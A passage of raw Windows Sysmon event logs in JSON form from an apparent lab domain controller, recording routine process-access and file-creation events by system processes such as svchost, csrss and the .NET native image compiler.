12:01:38.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6912,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:38.963\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-42A2-5F2D-0000-0010C9350B00}\r\nTargetProcessId: 3396\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:38.963","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-42A2-5F2D-0000-0010C9350B00}","TargetProcessId":"3396","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6913,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:39.010\r\nProcessGuid: {90617006-42A1-5F2D-0000-0010F32F0B00}\r\nProcessId: 2988\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\bac-0\\Microsoft.Build.Engine.dll\r\nCreationUtcTime: 2020-08-07 12:01:39.010","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:39.010","ProcessGuid":"{90617006-42A1-5F2D-0000-0010F32F0B00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\bac-0\\Microsoft.Build.Engine.dll","CreationUtcTime":"2020-08-07 12:01:39.010","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6914,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.089\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-0010079E0A00}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.089","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-0010079E0A00}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6915,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.089\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-0010079E0A00}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.089","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-0010079E0A00}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6916,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.089\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4298-5F2D-0000-0010079E0A00}\r\nTargetProcessId: 4184\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.089","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4298-5F2D-0000-0010079E0A00}","TargetProcessId":"4184","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6917,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.135\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4278-5F2D-0000-001057590A00}\r\nTargetProcessId: 1008\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.135","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4278-5F2D-0000-001057590A00}","TargetProcessId":"1008","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6918,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.135\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4278-5F2D-0000-001057590A00}\r\nTargetProcessId: 1008\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.135","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4278-5F2D-0000-001057590A00}","TargetProcessId":"1008","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6919,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.151\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42A3-5F2D-0000-0010113B0B00}\r\nTargetProcessId: 1008\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:39.151","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42A3-5F2D-0000-0010113B0B00}","TargetProcessId":"1008","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6920,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:39.197\r\nSourceProcessGUID: {90617006-42A2-5F2D-0000-0010C9350B00}\r\nSourceProcessId: 3396\r\nSourceThreadId: 3612\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program 